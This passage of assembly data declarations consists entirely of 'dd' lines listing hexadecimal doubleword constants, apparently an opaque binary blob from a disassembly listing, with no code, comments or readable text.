		dd 0E9A9F991h, 0BEA9F018h, 8AF57F00h, 8248AEB3h, 5899001Ch
		dd 40E7C731h, 90032A97h, 838CA760h, 0C2F2B055h,	6B2E09F0h
		dd 0B880237Ah, 3BBC4968h, 1939AEE2h, 4098095h, 3CB34120h
		dd 9C744CD7h, 0EFEAF500h, 59C347C6h, 0E4C09E00h, 818D4C4Bh
		dd 0CFBE0579h, 834D44C4h, 0E8B0534Dh, 0BF60A1B6h, 0FEF8FB18h
		dd 1FB0C0F2h, 0DED48BE9h, 4D662900h, 973412EDh,	0F73000D3h
		dd 0F1BFF38Fh, 20003A7h, 602975F9h, 0BCCF83h, 109C3AE6h
		dd 0C46F1568h, 0F01F2898h, 97835A18h, 0E00544C3h, 58F713h
		dd 0A6A96499h, 0A722D74Bh, 6E094809h, 964F0038h, 7177E30Bh
		dd 34029D59h, 84F044A4h, 2DBB8800h, 0DA0D6E06h,	1D9B0015h
		dd 6BF6E5C7h, 0EF01D4A2h, 0BC23C3E1h, 21EC18A0h, 840D004Dh
		dd 0AB945743h, 2513A4FAh, 0C847262Bh, 9124D5F2h, 928184E2h
		dd 0D8C631F9h, 6D13FC43h, 0C4475860h, 0B040FF4Ah, 0C6EEFDh
		dd 8E960548h, 30290D51h, 726473Fh, 9CFCC057h, 63DE6780h
		dd 0AB7D06h, 1EC1249Eh,	0FE61A834h, 9C00148h, 80920A64h
		dd 5D2EB9D8h, 0D7233E27h, 17DDAA84h, 5E3C923Ch,	0C445145Ch
		dd 13A88E0h, 894399E6h,	0E34EB0D1h, 12661930h, 0D06113h
		dd 6B05C4C7h, 0CABC7B06h, 3F740D78h, 81731100h,	0ED1C1AD6h
		dd 44B40A5Eh, 0E89158h,	2C2FD64h, 20797A03h, 0E21DA825h
		dd 0E4914174h, 782C68E9h, 722E690Ah, 8190828Ch,	0D48F9480h
		dd 52C9FC40h, 4060F86Eh, 93B79221h, 950200C3h, 0E0E1445Dh
		dd 0F8A08C85h, 820F79BBh, 0A034FF6Dh, 87B8FD51h, 0C138C004h
		dd 9D0990D3h, 716BB00h,	643AA1CEh, 0C517B8CAh, 9EE510h
		dd 8F4E21DBh, 34F5C36Ch, 0DE4B0FF0h, 87FDA849h,	0F060C988h
		dd 0C32F7576h, 0AB133211h, 7A961AD8h, 0AFCF2400h, 692CE4ACh
		dd 806507EAh, 0C0DF02A4h, 14DBB395h, 24C19A2Ch,	73990901h
		dd 0E9C496D4h, 819B007Bh, 46132E05h, 6E2526F4h,	0CF38C1FDh
		dd 0A670BC41h, 0A4539995h, 974085CFh, 0CEC6FD25h, 130FBD73h
		dd 807207F4h, 4F894044h, 0A5790008h, 0AA2CA3EBh, 9B05D0BAh
		dd 819D6BF0h, 98D00485h, 7103B784h, 0CDA50772h,	4B564AD4h
		dd 0F60A4C02h, 0DB4D64E0h, 2E140400h, 961723BFh, 1AB800B4h
		dd 1FE4CD9Eh, 7F384270h, 0D9D205F6h, 9400A419h,	9F29400Bh
		dd 33571869h, 987ED895h, 17305CE8h, 0A8A412C6h,	2EA29062h
		dd 0F08EAA3h, 6E00C12Fh, 0DCFB2163h, 58100209h,	0E8310032h
		dd 0AB8647h, 0EE7DE566h, 0F4C7E70Ch, 46389577h,	0D4780EC5h
		dd 218D0497h, 5328A0h, 91CDEAB7h, 0BAB07F8Ch, 5F22B61Ch
		dd 84F13200h, 1E283D10h, 402A873Fh, 56B30A6Bh, 0C800169Eh
		dd 9667F612h, 277418Bh,	0F74D7551h, 0B4630B61h,	78565E8h
		dd 0E63CA50Bh, 4F04A257h, 977DE075h, 5DA30ECEh,	71F6141h
		dd 0C148AADFh, 303E2D20h, 212559FDh, 0C2286171h, 0F003C03Ch
		dd 0CA84EB35h, 0FA81100h, 0BB454DFEh, 617E69h, 3E23528Ah
		dd 0EF5C2BC3h, 75F85A00h, 0C942A79Ch, 0C62E00D3h, 81BFCE54h
		dd 2C13B0E7h, 3CB07B52h, 4114B6DBh, 6445F24Ch, 3400A748h
		dd 1567BA75h, 39BCCBEh,	0D192D903h, 79C02F7Ah, 28908AADh
		dd 0F81FBA2Ch, 192DEF80h, 0A77713h, 0A257CBEEh,	0AA602CD0h
		dd 0B9505374h, 8300E6F8h, 0E004EF2Ah, 0EA5E1EE5h, 0CCA71FD2h
		dd 575F4EA3h, 1D3B6580h, 0B838F7C2h, 0ED8E1399h, 1AA69F0h
		dd 13FDB4F4h, 30DABB6Eh, 5600C41Ah, 3617F4Bh, 46518h, 87477593h
		dd 5589E374h, 8C0D45Eh,	12590611h, 4040BBA1h, 9C0B651Ch
		dd 3D3FB969h, 98D81FA4h, 46E314C0h, 93773Ch, 27435305h
		dd 3DDD19C0h, 64F5AA00h, 2A3459CCh, 641F5C5Ch, 9181AF09h
		dd 9417BC68h, 9964224Ch, 0E4398498h, 0F61E5098h, 19D09205h
		dd 7780FAE8h, 35F11F1Ah, 0D0B06872h, 0DAF04DA8h, 3464FB00h
		dd 5D77A97Ch, 99B00008h, 0BF59269h, 5B078822h, 579E45C4h
		dd 0F4AC3894h, 0FC805C3Dh, 54A809C3h, 2C001BDAh, 0C2CBCC79h
		dd 0E84F637h, 0A933BA13h, 2543A6C0h, 47E2C32Fh,	2E7393Ch
		dd 0C6529530h
		dd 5B2CE034h, 0A28A0038h, 3BA73A50h, 670B7985h,	8F365EFFh
		dd 0FE87C01Ch, 4BA45577h, 1D54C33Eh, 806EA6E8h,	9F0DF303h
		dd 0E8921FA3h, 3EB8DCBh, 964DFF2h, 23F8C7AAh, 1B0052FEh
		dd 0B60B3AE5h, 0B8053011h, 0E6E7003Ah, 0F5E060FCh, 6377FEAEh
		dd 7EA2400h, 0CB397D80h, 68DF0381h, 9C1F3444h, 0A6493Eh
		dd 0CAE9637h, 0A0855Bh,	3E3FB9B0h, 46A7B29Bh, 894BD401h
		dd 92D0B536h, 2C7712D8h, 402482A9h, 0E4788AE9h,	0AC070C00h
		dd 0F50D1221h, 0F8F2001Bh, 0EC9D6A05h, 7A01E3C7h, 32BE3311h
		dd 22E4FD3Fh, 0F513385Bh, 8BA92Eh, 0D16D7819h, 0FD001580h
		dd 5CA8FFB1h, 41AF47h, 7FB28E4Ch, 2F12E20Dh, 78AEFA00h
		dd 912E4E8Bh, 0B6E60016h, 0DD6A5DACh, 5237561Fh, 7BC05068h
		dd 0F2DD49Fh, 646392CBh, 5ABFCE0h, 4712E7E5h, 18F0A3E8h
		dd 28E95E03h, 16779DD4h, 55DAFF01h, 770AB2ADh, 0FD5E721h
		dd 0E2001C3Ch, 0C0AE8A22h, 0A4011CCDh, 6D060B16h, 54F4E12Ch
		dd 0EFBC028Dh, 59ED604Eh, 0A26A0B40h, 5A4E1048h, 78650888h
		dd 98058409h, 0A8DFE282h, 7E1F00ADh, 0F4180DAh,	0D747A41Fh
		dd 2E5ADFE8h, 44E038D7h, 20A93Ch, 4D4A928Eh, 869DDE9Ch
		dd 4900097Fh, 0F6E47BCFh, 65CBC74h, 78438898h, 3205484Dh
		dd 0A2891547h, 0B04CB0h, 0DDFC35D5h, 0AD67DFC6h, 755AE674h
		dd 77C48CCh, 0F950F426h, 2807E083h, 0C6140C6Dh,	0F65CC0h
		dd 928B6890h, 3B5F8BEh,	0ADC4F415h, 61F0ABCAh, 8100D09Bh
		dd 5663E18Fh, 50C3C6h, 0BA8D06A6h, 0BB12C526h, 0FCF32F00h
		dd 0D2530822h, 0F6FE6DFh, 9F7E54CCh, 76DB62A0h,	0B300BF34h
		dd 5230C198h, 592B16Bh,	9AB2A4DFh, 67FB80C5h, 8B004EF2h
		dd 1C365D29h, 1E54FAFh,	880A28CBh, 20F7BDC3h, 0E800117Bh
		dd 0D7CFF021h, 13A490h,	77B17075h, 2DA3D1A5h, 1C7B0F09h
		dd 4C501Bh, 220D9DF9h, 6B072314h, 8327A801h, 956CCC17h
		dd 189A0D8h, 75DDAE5Dh,	52F6433Dh, 105ECF9Ch, 19D700BCh
		dd 0FA4CBA12h, 2A8007EBh, 22F27CBDh, 0C8829336h, 0F080AC3Dh
		dd 26170297h, 0EB3C291Eh, 80FCE8D4h, 1A95899Fh,	4C7A000Ah
		dd 0FECD32F0h, 88000408h, 85E2C99Eh, 0FC6BF443h, 29E801C7h
		dd 0B8F9954h, 0F6B57059h, 3AF48574h, 0BCAC4A00h, 0FFF7BE5Dh
		dd 2720C3EDh, 0B7B0D443h, 0CD00C767h, 39097CD5h, 0B19C8Dh
		dd 484CD7B8h, 0A5185DDFh, 9869AD3Fh, 0C5E17984h, 0E66D05C1h
		dd 40DF274Ch, 61998280h, 57FE9EB7h, 5E433B1Fh, 0DB03D9A4h
		dd 0BF27097h, 2C948228h, 59007CF4h, 36AE90ABh, 9052FEDh
		dd 0BFEB9A60h, 0DE951100h, 4027A11Eh, 0E3B000B7h, 5713CB14h
		dd 0D4867CFh, 0A8EE03A5h, 0F1D3A08Ah, 0C7E53295h, 774CF8h
		dd 0FFA171DAh, 0AF6AA72Dh, 9B58F900h, 0AA26B1DFh, 0CF3B3895h
		dd 0F3B7E980h, 6314D0A0h, 0D7CE6100h, 0BBAFA145h, 415A035Fh
		dd 0A991BC10h, 71701E2Eh, 40C6EB0Fh, 9D8F4D14h,	5E3C48DBh
		dd 668F043Ah, 4180ED7Eh, 0E67DD7C3h, 0A6FB2F00h, 59BBAC7Bh
		dd 788DEC71h, 5A730034h, 0C4F1C66Ah, 0A00815Ch,	0AF9D1A10h
		dd 509107D4h, 0AF8080C3h, 91FC8604h, 0ED00108Bh, 757E824h
		dd 7E02A2h, 89148093h, 0FCC5F137h, 0CD235118h, 88EB2628h
		dd 0FE887BD6h, 2535883Dh, 89ECDC88h, 44C908EAh,	2284193Ch
		dd 0BE42E1B8h, 9D086121h, 0E309882Ah, 919D9290h, 24611133h
		dd 21E93211h, 0C8223CA6h, 5B284550h, 847AE544h,	6F75BB22h
		dd 208029E9h, 5D3861D1h, 0F545FA00h, 8CCF4C33h,	0EC654F27h
		dd 0B2AB0023h, 1B11E34Eh, 60890781h, 0D0FD78E7h, 693F967Fh
		dd 0AEDBE600h, 0D27B585Ah, 0A190038h, 74F91E1Ch, 0A30046F7h
		dd 0AB0DCFEDh, 7F1108h,	8CC05DC4h, 0ECA22E0Ch, 39704400h
		dd 0C820B143h, 563F0B92h, 0F4807EFEh, 365AB7ABh, 0E693E11Eh
		dd 0D900D75Ch, 0BDD8CA94h, 0B4DE004Dh, 4A1557F7h, 0EB015BABh
		dd 1170E0FCh, 2520FA3Eh, 0AD8BF7Ah, 4B006D72h, 0C2860B96h
		dd 793EA85Dh, 658D390Ah, 0D2372D05h, 32E7C054h,	670026DAh
		dd 6C4FF710h, 697EE7h, 728CFDCEh, 8F322BB1h, 0C76F8706h
		dd 648AA5Ah, 4C0D2CC6h,	0CBF611A4h, 2B63B000h, 0D07B1143h
		dd 72DE0045h, 0CEB31D1Eh, 4B2F6D46h, 0A95848h, 0CD206BC2h
		dd 0F8ADD7FBh, 6D5F981Fh, 42E17B00h, 0C035AF4Eh, 0CA2BBB10h
		dd 4B0367A5h, 9C132AE5h, 85480512h, 8097C26Dh, 0DC2D424Bh
		dd 0D56FB60Fh, 0CB7BA070h, 0F86B5020h, 296A0FC8h, 2E47ABAFh
		dd 25C0D0ACh, 7400DBEBh, 882C7E19h, 7F7C2F0h, 10C45C04h
		dd 0E0A74782h, 0BB4F620Ch, 17EA6401h, 6BA0ECDAh, 96BDB840h
		dd 574C1EBCh, 5089405Bh, 0A8777216h, 11C2181Eh,	9E32E640h
		dd 3A6108h, 14176B96h, 0C9153728h, 0A4C82300h, 34780D05h
		dd 0DE160749h, 0B0A8EB01h, 3B224BFBh, 9473027Dh, 0DB11C000h
		dd 3DD89149h, 40631F2Fh, 584B87B3h, 9A0CEC1h, 0ECA776D6h
		dd 0E1D01F00h, 103175E8h, 0D7860258h, 34F03BF5h, 0B377FD60h
		dd 832A8D03h, 8F9AE972h, 296542D1h, 0EE9420h, 60B1EB08h
		dd 8B3D79DFh, 0D2C46C02h, 8073BDC6h, 0DC219BA4h, 0A14600E1h
		dd 5A82AE8Dh, 3500A517h, 8495CAF1h, 1590BD97h, 0C4CB85D0h
		dd 6D07C939h, 91F5675Fh, 60F79FB5h, 4C00E420h, 1560710h
		dd 0B065F304h, 297900B7h, 0A4B1627h, 9B3C4E11h,	0FD11E02Ah
		dd 0E81B3Dh, 63257B41h,	0CD46F3ADh, 695A2F00h, 4D6D5848h
		dd 0C09175h, 0D4A920D1h, 62182CFFh, 889077E9h, 6C810F38h
		dd 0FE45B5F0h, 40E800D7h, 0A271E8F3h, 0B9AF8C03h, 376AE44h
		dd 0A5F57030h, 280FD43Eh, 33380h, 3A0549D7h, 135000E1h
		dd 350F4B31h, 0FE00827Ah, 25A9BADDh, 760ADFh, 6D65ADD1h
		dd 6CAB0C24h, 97C8D814h, 2FB600FCh, 73B52832h, 45A8005Eh
		dd 0DC3C1E06h, 0B9007AACh, 28BC1F97h, 0FAB53DD3h, 8031EE52h
		dd 55E02DC5h, 0B392D200h, 15EC7BF8h, 7973DCh, 138A4C05h
		dd 10F447C1h, 5BF94B00h, 0F5CF177h, 3E55008Bh, 895E0CE1h
		dd 410487F5h, 0A4E074FAh, 97611D02h, 0EF50D900h, 82C053Bh
		dd 8079FF70h, 0EADBD777h, 2000FE78h, 4987483Ah,	0F2EC064h
		dd 0BFDACC37h, 0F8EC8C22h, 5D0E7240h, 0AEDD4900h, 93BDE11Ah
		dd 282E7663h, 0D47204h,	8453B61h, 0BE12CBECh, 0DF036407h
		dd 0E6906A26h, 7EF6BBCCh, 0D4512609h, 171E94h, 62EE3344h
		dd 630E856Dh, 0F7377491h, 80755F09h, 0DF535CF1h, 0D55B1FD7h
		dd 0C72EC0F4h, 0AE5E89B2h, 0FA21EC00h, 2546869Dh, 0A95A3CE0h
		dd 9CB2DE01h, 0E8AFF9B0h, 0F600DDF4h, 4FB9CD1Eh, 337E5Bh
		dd 388CF854h, 2CB5C192h, 5E1A0700h, 0C3B47A3Eh,	0F0270F65h
		dd 8C1A30Fh, 0C0EA7422h, 9C00A052h, 2C2335CAh, 38D39F2Dh
		dd 6E007D79h, 700E41C2h, 9203033Bh, 76F31B85h, 0FE42D081h
		dd 7C28009Eh, 3AFBAF47h, 0A95C8A8Eh, 0E9C90006h, 0A8E5DB30h
		dd 69FC00B3h, 973D5158h, 0F0004EC2h, 0A2F1FEB4h, 26412F60h
		dd 0B86720h, 26FC8036h,	0DFE4AD0Ch, 1A19B300h, 0A2D7C662h
		dd 3AF62451h, 331B0078h, 0E914CD7Bh, 1019AE02h,	40D79B65h
		dd 90DE9024h, 909A5C52h, 2374A16h, 94FF8478h, 4405E487h
		dd 20F8903Eh, 2B000FD0h, 83B28E7Ah, 134AA9CFh, 7609151h
		dd 10B903E8h, 1FC7B1A3h, 0FCB48h, 0CEED5373h, 0CA52ADh
		dd 70A09F6Fh, 0BD96B897h, 0F700BB7Dh, 0F21ACD5Fh, 77DD5Eh
		dd 0A9413483h, 10C11988h
		dd 2AADE00h, 0A369FFA5h, 45AC1F36h, 40E81338h, 0EF4E3A0Ch
		dd 61009F42h, 0F3C7F5Eh, 530569h, 0D89D2B1Bh, 35F274E7h
		dd 8A6CDB07h, 97E2A5AFh, 27941F8h, 0E1FE7060h, 0C290CCh
		dd 0D34E831h, 0B8994BF0h, 9EE4D300h, 788C37BCh,	304C60D1h
		dd 2974172Eh, 5E238100h, 0A24A04CDh, 7E7841h, 0B8A32050h
		dd 5A53A9B2h, 2D883B00h, 0CCCD5686h, 2C70B018h,	609434EAh
		dd 3BA2FEF8h, 0CD92493Eh, 365001C8h, 383EDF88h,	0FC91CCh
		dd 0AF1080B9h, 7B7DD3D7h, 1F656900h, 0BF3C7977h, 39DCA035h
		dd 0D4F200A6h, 7C67DEFh, 3E00DE55h, 849C2F57h, 92E47Fh
		dd 82A8B387h, 44EE48B1h, 0F48ECC00h, 7F6D604h, 0ADDC00D4h
		dd 0BE1B2A08h, 620025C4h, 4BA0F0B9h, 2E8F5Bh, 15111671h
		dd 0E62B4014h, 20A5E20Eh, 33E040AFh, 7348ADBh, 99CD52D5h
		dd 0F809E1Dh, 54825544h, 0A5A87400h, 0E4BD8F43h, 60141F16h
		dd 3686413Eh, 507CF263h, 0FFB2F90h, 8CF5A43Ch, 26CFD4B5h
		dd 93E6C2h, 2676F272h, 0C0416745h, 0AFD2CB00h, 0A05E7F44h
		dd 34DE0E51h, 24603B56h, 0BA1A0D41h, 0D0B6153Ch, 261D83A4h
		dd 0B42AC1F8h, 8049113Eh, 713C9527h, 424661h, 0D1DFBFE4h
		dd 0F92ACBAEh, 0BBB90100h, 0EA6B5AA8h, 49DD00BEh, 0C98E5E93h
		dd 10E102Dh, 0E0690821h, 0DDF9BCE6h, 48BE0191h,	0BD51D484h
		dd 1015ECA4h, 0F7D813Ch, 809F339Eh, 0AF973E4Dh,	0A4BF0041h
		dd 61D31045h, 1A002DDFh, 4C6CEEE7h, 322C3Fh, 62F71BFEh
		dd 0A79917EDh, 3DD73C16h, 9B306902h, 0E9844018h, 316C0041h
		dd 1A9FBEFEh, 0B91C8807h, 0A9C01D8Ah, 2D27AE80h, 0FC5900A3h
		dd 0CBCF26A7h, 1AECD815h, 8D421100h, 0C16DC368h, 0F66C2833h
		dd 1CA558F8h, 0B345710Fh, 0DBEFC240h, 0F079744h, 8EDE02AFh
		dd 822EDFB3h, 0C0BF609Ch, 509000D8h, 17B344D5h,	6D2E53DCh
		dd 130E1C62h, 33F3A473h, 98955483h, 24EEA642h, 8F949F43h
		dd 328D163Ah, 0E220E820h, 740D540Eh, 0F6556027h, 2E3984D3h
		dd 0A4D83Dh, 0BC0A1CFAh, 29FE5A96h, 0DF0077E2h,	62653A74h
		dd 0A26397h, 0EB3C4725h, 0AB8451CDh, 0F1B24600h, 28EE9A16h
		dd 0D68A0054h, 0C5396E3Dh, 0A4A015F3h, 40766D05h, 1BF6B3Dh
		dd 542CA7DEh, 45F8BA9Ch, 53C5000Ch, 5034070Eh, 9B093288h
		dd 809C316Ah, 267E9593h, 0C98707CCh, 0B7814734h, 0BB450Bh
		dd 57215DA4h, 7200EE28h, 183AE24Eh, 10854Ch, 31A2528Ah
		dd 0FB54781Fh, 939A2500h, 4ECACBA0h, 44D40E29h,	0A834DF8Dh
		dd 0F97A880Bh, 6C1EACA0h, 7F267DDAh, 0A780145Dh, 1B06BE25h
		dd 4DCB0310h, 6E15A5D0h, 0DE891E00h, 87FBD348h,	0A2B100E4h
		dd 0DA8CFABAh, 24121296h, 3400ECD4h, 1688CE7Ah,	0E7B48006h
		dd 4047EF3Ch, 309D0055h, 6342FB85h, 9C77CB4Eh, 6EA0CC5Fh
		dd 1972BCh, 5D44B7FEh, 0DAD7E878h, 7B96A000h, 7106C56Eh
		dd 7237FE39h, 0AA111684h, 905610E4h, 7900D09h, 59973400h
		dd 0FB00B825h, 0F0D808EBh, 19045155h, 0F81BBDA7h, 506120B1h
		dd 6635907h, 0EBC02781h, 6029BAC6h, 88FBA867h, 0BD0A1623h
		dd 9887E506h, 8943C89Eh, 8C3551D8h, 2CB0C01Fh, 0BE82C949h
		dd 87BC88C0h, 50492FCh,	98F770F4h, 40028067h, 63E0B090h
		dd 56DF6200h, 0D709AAE9h, 4AA500BCh, 0E2ED40BDh, 35F0CF29h
		dd 507CB000h, 52DB068Eh, 2E57006Dh, 23618DD4h, 837D2669h
		dd 55B260FDh, 2DC7A101h, 445F982h, 0E3A5A440h, 0B5A903BEh
		dd 2EDA7F37h, 2B0652B0h, 4903C101h, 80753A5Dh, 508CE0h
		dd 0B9AA79A3h, 33DCC73h, 0F0C5F0Ah, 0BD008423h,	0CA0DC855h
		dd 0D67B0F4Ah, 3E4994DFh, 0C42B007Fh, 76C933A1h, 0A308019Fh
		dd 89926F8Ah, 3B282C53h, 3F740130h, 280F9DA1h, 50181CF8h
		dd 264594A6h, 400CAF79h, 282D2687h, 6E817501h, 307B89B9h
		dd 7596F730h, 0A8A442h,	153C4164h, 6C23ED6Ah, 8A4B8601h
		dd 92DA1942h, 0EA1DCCh,	0DD06D249h, 67407890h, 4B7C20EBh
		dd 0DA791578h, 8863D8C0h, 4CFC7D14h, 0C503E46Ch, 3B7CF78Fh
		dd 0F2241100h, 0DEAA01F1h, 87580010h, 4FE082D4h, 6515F03Eh
		dd 24F8B25Ah, 201108CCh, 82000D4Ch, 0D7AA242Bh,	0E3006F1Dh
		dd 5749B2C5h, 6F8805Dh,	8651EC19h, 140141EAh, 0CE6747D6h
		dd 7034638Ah, 0EDB51EA3h, 655880F0h, 2C418ED3h,	30BF6Bh
		dd 0CF1DBCCh, 0FAE61DB4h, 0FFC6605h, 0E382E81Fh, 2CC037ABh
		dd 0B8007139h, 786A8C1Ah, 5CCBE580h, 0B53AE6DBh, 0F4A9C600h
		dd 353EF187h, 9C14282Ch, 0B303CB00h, 90C3D9h, 2372885Ch
		dd 0B6627E2Eh, 126E9E00h, 1D9BEA45h, 1E380F74h,	0F2839060h
		dd 0F0986424h, 0C50076FAh, 9B45C3A1h, 4165431Eh, 7DB2C830h
		dd 298E5800h, 0BF25FAA2h, 7FA6007Ah, 43F2B9B7h,	0CF3DE781h
		dd 0AFE1001Ah, 0A725CCACh, 41E4255Ah, 8902000h,	9103EE9Fh
		dd 0A4B45D82h, 0F9FFB814h, 0DF2E006Eh, 38D0F3FAh, 6C2C7D02h
		dd 4A0B2473h, 9DF4A11Fh, 58ACF20Eh, 3DD10C55h, 7C30E518h
		dd 51FA613Fh, 0D53100FEh, 4C0DB529h, 0C4003539h, 89CF8897h
		dd 721F3Dh, 638591C3h, 0EBF49671h, 2DFCE059h, 0BE560Fh
		dd 23067924h, 0E0086AFh, 1099B6D9h, 34FC8C6h, 0A4D62DAEh
		dd 0FD550Ch, 60B558C0h,	8B806BE8h, 197300C3h, 0C81C5183h
		dd 0EE3BEA38h, 6B7609B1h, 0A99480AEh, 34DDDBh, 0D020D1FFh
		dd 0A4CEB25Eh, 14B0A200h, 856188EFh, 0DE4E0586h, 1172A83h
		dd 0BDF29FC0h, 2FD80952h, 39AFF2A5h, 3100BED7h,	20604888h
		dd 4D3F65E6h, 189A809Bh, 0DAB54621h, 7B1795Ah, 0A68411BFh
		dd 6C85518Ah, 996EC46Ah, 0E4342700h, 8F67AA39h,	604600CAh
		dd 6313DA12h, 53043AD0h, 32F2100Ch, 13EDF4F0h, 14597AEh
		dd 30CF7B16h, 0EB80D766h, 7C029BFCh, 0D4DCB79Ch, 0E87865h
		dd 0ADB9F452h, 0D7CFFCEAh, 0C0BCC72Eh, 2613BE82h, 8D068B6h
		dd 73F01D1h, 9FDD884Dh,	6CC8DAB4h, 0D30EFFC5h, 0C0F50412h
		dd 0B92A206Bh, 0B83F488Fh, 3D5E6E00h, 4EE8DC94h, 260070FCh
		dd 0EA2FADC9h, 379C8E2h, 6E2A6AD7h, 509F235Ch, 0EB6926F0h
		dd 672D5600h, 4FFAAC97h, 0A2281DD0h, 760CFBA4h,	82F0667Ch
		dd 7A37BC03h, 0F040F141h, 5667E4h, 0E643527Dh, 0F26E45EDh
		dd 77002873h, 752329A4h, 447D8Bh, 3253C619h, 0A77AD4FBh
		dd 0ABDEEC1Dh, 0B865C80Ch, 389A27B0h, 0F066CA0h, 94A8ACDBh
		dd 7BB849D2h, 0DEE57F0Ah, 0B48098C6h, 0D8299972h, 0CE7B00F7h
		dd 1175EAD5h, 87601F7Ch, 0E42461A8h, 0BA5500A4h, 0CD2B1E21h
		dd 0A504E63Ah, 0CF4073AAh, 3A9DA8C8h, 0E0457278h, 620E3654h
		dd 80402534h, 0A1654210h, 6F2A000Eh, 891F38D1h,	67028AE7h
		dd 0B27D4E9h, 9F084B43h, 24DC144Bh, 0A0CCEFF7h,	0CBF60090h
		dd 5ED6DB7Ah, 0C4002B47h, 79E2E526h, 381BB69Eh,	6EA4ADCCh
		dd 0EB8A8004h, 3A28DDF9h, 8D1C8700h, 32D4F0A1h,	5E360038h
		dd 46B33103h, 0E0E68DAh, 20E13063h, 0E4960ABBh,	0B0D97453h
		dd 80910029h, 7EB482AEh, 0AB008838h, 701828A2h,	0E0D055BEh
		dd 26EE0373h, 0A3DA153Dh, 0FB48B3F8h, 0B221B400h, 0AF5CEB9Fh
		dd 1642282Bh, 7D2C01D8h, 0D06628DCh, 0DC62D663h, 9A01E43h
		dd 2E03078Ch, 86FDA78Dh, 0CC81002Fh, 98F8A18Ah,	8F1CE3ADh
		dd 0AEC0B72Eh, 970F25C4h, 0B38000B6h, 4E571B18h, 0C100ABC7h
		dd 0FAE4AE81h, 0EACDBCh, 7351A92Fh, 0ADD74215h,	970CC200h
		dd 557AEB6Bh, 348A00B9h
		dd 0F6046433h, 9D0188DAh, 622106B3h, 0F4C0AD0Eh, 0F7CE0357h
		dd 0CD2F6FCCh, 97F8A490h, 74549C0Fh, 3BE767E6h,	0FBBF7150h
		dd 0F046145Ah, 61FEC5Fh, 5CF68010h, 32FFD7Dh, 0F102E304h
		dd 34F12796h, 3954A9DCh, 1D00232Bh, 0E966F7A4h,	4A00B5E0h
		dd 81571E40h, 52ECAEEh,	32E3472Ah, 0D4A40F1Fh, 7C20A429h
		dd 0F68E28Eh, 93CE2B0Bh, 2FE021D9h, 0C879DD8Dh,	0AD40E700h
		dd 2BBB63B5h, 1C6A5503h, 0E3FE747Ah, 804AF086h,	48440B2Fh
		dd 1C016CA0h, 64390D7Bh, 0F02269D4h, 0AC940EFCh, 3E6982B6h
		dd 0F5937C00h, 51D1ED3h, 23A7335Bh, 9029FCCCh, 3BDF53h
		dd 3A6C11Ch, 2EA4A32Dh,	5718FA61h, 76CC7258h, 0D9A800C3h
		dd 22964BFCh, 0AE38EE84h, 0E33B8964h, 0B3484097h, 46B907DEh
		dd 6F1924B0h, 90BC1B40h, 0D900083Ch, 0A70E5E0Bh, 1D89054Eh
		dd 66D5D1Eh, 0C8DB3280h, 0D0CDA400h, 25EBD28Ah,	93313A4Bh
		dd 0CF99F400h, 3D964E37h, 0AC72D60Ah, 0D200885Bh, 0B6ABFDAFh
		dd 636A7BFBh, 0E662505Ch, 0E4E877F1h, 61037DBCh, 48157AFAh
		dd 0B84E9396h, 2D85CAh,	3DC4D30Ah, 76B7AB9Dh, 0D2FD3400h
		dd 1AAF01F9h, 9E2100F2h, 0D286AE5h, 0CA1F8715h,	1902FBAEh
		dd 60357E90h, 22D081h, 47610F2Ah, 3AD47418h, 0FAC57300h
		dd 0BF7E482Bh, 4EB71CA7h, 0D692003Bh, 0E1F11A09h, 0FBCF4600h
		dd 2004A187h, 0A0570F71h, 126026A4h, 86983CBh, 2C1F2FE0h
		dd 0C5264D4Ch, 0AB283200h, 169346h, 2F3A9F43h, 0EA8195A8h
		dd 663C0D13h, 0B027FC20h, 41513D74h, 0F280473Ah, 0A124951Dh
		dd 0C7009A96h, 0AFA4D34Bh, 0CED11Eh, 0F998A8E9h, 34C171F7h
		dd 5FBFEE02h, 0C09C3B2Bh, 0FA91211Dh, 30351616h, 0A25B0040h
		dd 8062747Bh, 505D2800h, 0B68BAF33h, 0B10103B2h, 8567FE56h
		dd 1C381100h, 877C3CE2h, 772C00F3h, 0FBE10A52h,	0C5006675h
		dd 0C7950936h, 7E7D31h,	55E5CE21h, 59CA5D5Fh, 42D7C509h
		dd 0C2C0A013h, 83EE2Fh,	1F37450h, 1A4C3B80h, 70B13700h
		dd 56D63AC6h, 0C24709D5h, 60002AA4h, 911FB0DAh,	211BE60h
		dd 123B9E9Dh, 42D9654Ah, 75348420h, 947A1A60h, 0E8484100h
		dd 3E1C7792h, 246259FBh, 0BB4CB82Eh, 44D030A5h,	0DC172E00h
		dd 60731CA1h, 2616041Dh, 80EA7FB0h, 0AA751084h,	185D3B2Eh
		dd 0A3636200h, 1C1E3558h, 0C001C734h, 18216F5Fh, 0E5719036h
		dd 3EC49714h, 25F6028Fh, 0E0266965h, 3A375F0h, 0A93F3477h
		dd 87EB182Ch, 0D6095BE8h, 0DE329D05h, 8480D801h, 4E016h
		dd 0F652ECE4h, 4B890DFAh, 446D581Ch, 18DF4A00h,	1C3333Fh
		dd 0DDF11405h, 70E149BBh, 0A4007298h, 229336E5h, 0EBBA75h
		dd 0EF8D0DD9h, 1DA79FBDh, 0B409774Ah, 52806025h, 308900CFh
		dd 0F8851595h, 3C001DD0h, 0B92066FCh, 1F05B20Eh, 4970ECh
		dd 0E2CB0245h, 691D5B23h, 38DFFCBCh, 8DBEF0C0h,	173ACEDh
		dd 0A334DF80h, 20195CC7h, 25005ED8h, 0A28DFBA7h, 9D292012h
		dd 2432CC0h, 9CE8E250h,	0C0C8B030h, 3B7A575h, 7FBADE1Dh
		dd 0FBF8E799h, 0D00A44A8h, 0E437A245h, 0E1589A88h, 306F48CFh
		dd 0E8F3D6C8h, 52022644h, 671121C0h, 24E082CCh,	0AF4CC02Fh
		dd 16B20098h, 4E9D091Dh, 77006F70h, 0E9E23B8Eh,	18223369h
		dd 39A8C70Bh, 711F85B6h, 0DFC7ACA2h, 51B08911h,	4BD822h
		dd 5D816E77h, 56336461h, 0D37DC102h, 0C1C260F7h, 88D4B6C2h
		dd 0C891CFh, 0C97A0AE9h, 710BB849h, 0EC13C281h,	60DC58C4h
		dd 1D4F6B81h, 0C62C707Ah, 0A405CBE2h, 6497DE82h, 8FAA8440h
		dd 899268h, 8C847808h, 3A558E45h, 5979B00h, 602A566Dh
		dd 0AC850BBFh, 0BA001B01h, 0CE615C55h, 30A4B00h, 14BF92DCh
		dd 2CB6EC8Fh, 17C6FC0h,	753082B8h, 22428F9h, 0D748AD62h
		dd 0C0BC9253h, 0F7BA64h, 0FF897A67h, 4E55AE0h, 41040095h
